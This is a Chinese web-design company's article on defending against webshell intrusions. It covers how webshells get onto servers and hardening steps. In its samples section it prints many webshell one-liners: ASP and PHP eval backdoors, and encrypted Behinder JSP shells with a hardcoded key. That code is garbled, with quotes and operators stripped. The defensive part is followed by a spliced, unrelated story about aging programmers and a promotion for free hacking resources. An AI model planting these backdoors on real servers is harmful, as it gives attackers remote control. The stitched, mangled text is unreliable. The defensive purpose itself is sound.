尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

如何防范webshell入侵

如何防范webshell入侵 如何防范webshell入侵一、前言在当今的网络社会中随着互联网技术的快速发展网络安全问题日益凸显。其中webshell入侵作为一种常见的攻击手段给各类网站和网络系统带来了严重的安全威胁。本文将介绍什么是webshell当前流行的webshell样例webshell入侵途径以及防范webshell入侵需要做哪些工作帮助读者更好地了解并防范这一威胁。二、什么是webshellWebshell是一种恶意脚本或程序允许黑客在Web服务器上执行命令从而对服务器进行控制、窃取数据或发起进一步的攻击。它通常由黑客通过各种手段植入到受害服务器上一旦成功植入黑客便可以通过Webshell执行各种操作例如文件上传、执行系统命令、数据库操作等。Webshell的名称源自其功能类似于操作系统的命令行shell但它是通过Web应用程序访问的而不是直接在操作系统的命令行界面上操作。Webshell可以使用各种编程语言编写如PHP、ASP、JSP等因此具有跨平台的特点。Webshell的目的是为黑客提供对受感染服务器的远程控制和管理权限使其能够执行恶意操作包括但不限于窃取敏感信息、篡改网页内容、攻击其他服务器等。由于Webshell具有隐蔽性高、操作方便、攻击路径多样等特点成为黑客常用的攻击手段之一。三、webshell样例以下是一些常见的webshell代码样例。asp一句话木马程序代码%eval request(sb)% 程序代码 %execute request(sb)% 程序代码 %execute(request(sb))% 程序代码 %execute request(sb)%%% loop %:% 程序代码 %% loop %:%%execute request(sb)% 程序代码 %execute request(sb)% loop %:%[code] script languagevbs runatservereval(request(sb))/script 程序代码 %%Eval(Request(chr(35)))%% 程序代码 %eval request(sb)% 程序代码 %ExecuteGlobal request(sb)% 程序代码 if Request(sb) then ExecuteGlobal request(sb) end if //容错代码 程序代码 %LANGUAGEJAVASCRIPT CODEPAGE65001% % var lcx {名字 : Request.form(#), 性别 : eval, 年龄 : 18, 昵称 : 请叫我一声老大}; lcx.性别((lcx.名字)); % //使用冰狐一句话客户端链接php一句话程序代码 ?php eval($_POST[sb])? 程序代码 ?php eval($_POST[sb])? //容错代码 程序代码 ?php assert($_POST[sb]);? //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 ?$_POST[sa]($_POST[sb]);? 程序代码 ?$_POST[sa]($_POST[sb],$_POST[sc])? 程序代码 ?php preg_replace(/[email]/e,$_POST[h],error); ?jsp一句话木马冰蝎2版本%page importjava.util.*,javax.crypto.*,javax.crypto.spec.*%%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%%if(request.getParameter(pass)!null){String k(UUID.randomUUID()).replace(-,).substring(16);session.putValue(u,k);out.print(k);return;}Cipher cCipher.getInstance(AES);c.init(2,new SecretKeySpec((session.getValue(u)).getBytes(),AES));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%jsp一句话木马冰蝎3版本%page importjava.util.*,javax.crypto.*,javax.crypto.spec.*%%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%%if (request.getMethod().equals(POST)){String ke45e329feb5d925b;/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue(u,k);Cipher cCipher.getInstance(AES);c.init(2,new SecretKeySpec(k.getBytes(),AES));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%jsp一句话木马冰蝎4版本%page importjava.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.* % %! private byte[] Decrypt(byte[] data) throws Exception { String ke45e329feb5d925b; javax.crypto.Cipher cjavax.crypto.Cipher.getInstance(AES/ECB/PKCS5Padding);c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),AES)); byte[] decodebs; Class baseCls ; try{ baseClsClass.forName(java.util.Base64); Object DecoderbaseCls.getMethod(getDecoder, null).invoke(baseCls, null); decodebs(byte[]) Decoder.getClass().getMethod(decode, new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls Class.forName(sun.misc.BASE64Decoder); Object DecoderbaseCls.newInstance(); decodebs(byte[]) Decoder.getClass().getMethod(decodeBuffer,new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs); } % %!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%%if (request.getMethod().equals(POST)){ ByteArrayOutputStream bos new ByteArrayOutputStream(); byte[] buf new byte[512]; int lengthrequest.getInputStream().read(buf); while (length0) { byte[] data Arrays.copyOfRange(buf,0,length); bos.write(data); lengthrequest.getInputStream().read(buf); } new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);} %asp一句话木马菜刀版try { Response.Write(Environment.OSVersion\r\n); Response.Write(Request.ServerVariables[SERVER_SOFTWARE]\r\n); Response.Write(Environment.UserName\r\n); Response.Write(Request.ServerVariables[LOCAL_ADDR]\r\n); } catch(x) { Response.Write(x.Message); }四、webshell入侵方式有哪些常见的Webshell入侵方式以下类型1.利用站点上传漏洞上传Webshell系统前台的上传业务可被利用来上传Webshell脚本而被上传的目录往往对用户开放可执行权限。在Web中有上传图像、资料文件的地方上传完后通常会向客户端返回上传文件的完整URL信息该URL一般是常见的image、upload等目录。如果Web服务器对网站存取权限或者文件夹目录权限控制不严就可能被利用来实现Webshell攻击。攻击者可以利用上传功能上传一个脚本文件然后通过URL访问并执行这个脚本然后攻击者就可以上传Webshell到网站的任意目录中从而拿到网站的管理员控制权限。2.利用站点管理后台上传webshell黑客获取管理员的后台密码登录到后台系统利用后台的管理工具向配置文件写入Webshell木马或者私自添加上传类型允许上传类似ASP、PHP格式的脚本程序文件。3.利用数据库备份与恢复功能生成Webshell例如备份时把备份文件的后缀改成 .asp如果后台有MySQL数据查询功能黑客可以执行select…in To outfile查询输出PHP文件并把代码插入到MySQL从而生成Webshell的木马。4.系统中其他站点被攻击或者服务器上还搭载了FTP服务器。FTP服务器被攻击时被注入了Webshell的木马导致网站系统被感染。5.黑客直接攻击Web服务器系统漏洞实现入侵。Web服务器在系统层面也可能存在漏洞如果黑客利用其漏洞攻击服务器系统在获取其权限后黑客就可以在Web服务器目录里上传Webshell文件。综上Webshell能够入侵到系统一般是由于以下原因通过Web站点漏洞上传Webshell。Webshell能够被注入在很大程度是由于服务器或中间件的安全漏洞。例如以下常见漏洞都可能被利用来注入Webshell旧版本的IIS目录解析漏洞、文件名解析漏洞、应用后台暴露和弱口令、Fast-CGI解析漏洞、Apache文件解析漏洞、截断上传、后台数据库备份功能上传、数据库语句上传漏洞等。站点部署时混入了Webshell文件。大量的用户在使用从网上下载的第三方开源代码时其代码本身已经混入了Webshell的恶意脚本造成二次入侵或多次入侵。所以在部署前期如果不是新开发的代码都需要对代码进行恶意文件扫描查杀防止上线后被入侵。五、防范webshell入侵需要做哪些工作配置必要的防火墙并开启防火墙策略防止暴露不必要的服务为黑客提供利用条件。对服务器进行安全加固。例如关闭远程桌面功能、定期更换密码、禁止使用最高权限用户运行程序、使用HTTPS加密协议。定期更新系统和软件补丁以修复已知的漏洞降低系统被攻击的风险。限制文件上传的类型和大小对用户上传的文件进行严格的过滤和检测防止恶意文件的上传。加强权限管理对敏感目录进行权限设置限制上传目录的脚本执行权限不允许配置执行权限等。限制特定目录解析如对特定目录images、upload、js、css、templetes等非存放jsp的目录禁止解析jsp、jspx、asp、php等文件例如可以用Nginx配置进行拦截返回403状态码。安装可信赖的安全防护软件对服务器进行实时监控和防护及时发现和清除webshell如安装Webshell检测工具或防病毒软件发现检测结果后立即隔离查杀并排查漏洞。排查程序存在的漏洞并及时修补漏洞。您可以通过应急响应服务人工界入协助排查漏洞及入侵原因同时可以选用商业WAFWeb应用防火墙或IPS入侵防御系统等进行防御降低被入侵机率。在服务器所在网络中部署全流量分析系统及时发现入侵痕迹从而进行迅速应急响应。坐在工位上我脑海里不断浮现老张泪流满面的背影和自己倒计时的声音。是的时代像一台冰冷的机器无情地筛掉我们这些“沙子”。但那一刻一道念头劈开了我的迷茫程序员的终点从来不是因为年龄而被淘汰而是因为我们没看清方向、忽略了核心竞争力的提升。真正的终点不在年龄本身而在于不断打磨能扛起重担的本领在程序员这个行业放眼望去网络安全恰恰就是那个“越老越吃香”的行业。它不惧岁月反倒因经验积累而价值倍增资深工程师的洞悉力能应对复杂的黑客攻击行业缺口巨大国家预计2027年缺口将达327万机会遍地。转行也好继续深耕也罢只要肯学肯钻三四十岁的“高龄”反而成了金字招牌轻松拿下一份不菲的收入。如果你是也准备转行学习网络安全黑客或者正在学习这些我购买的资源可以分享给你们互勉①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表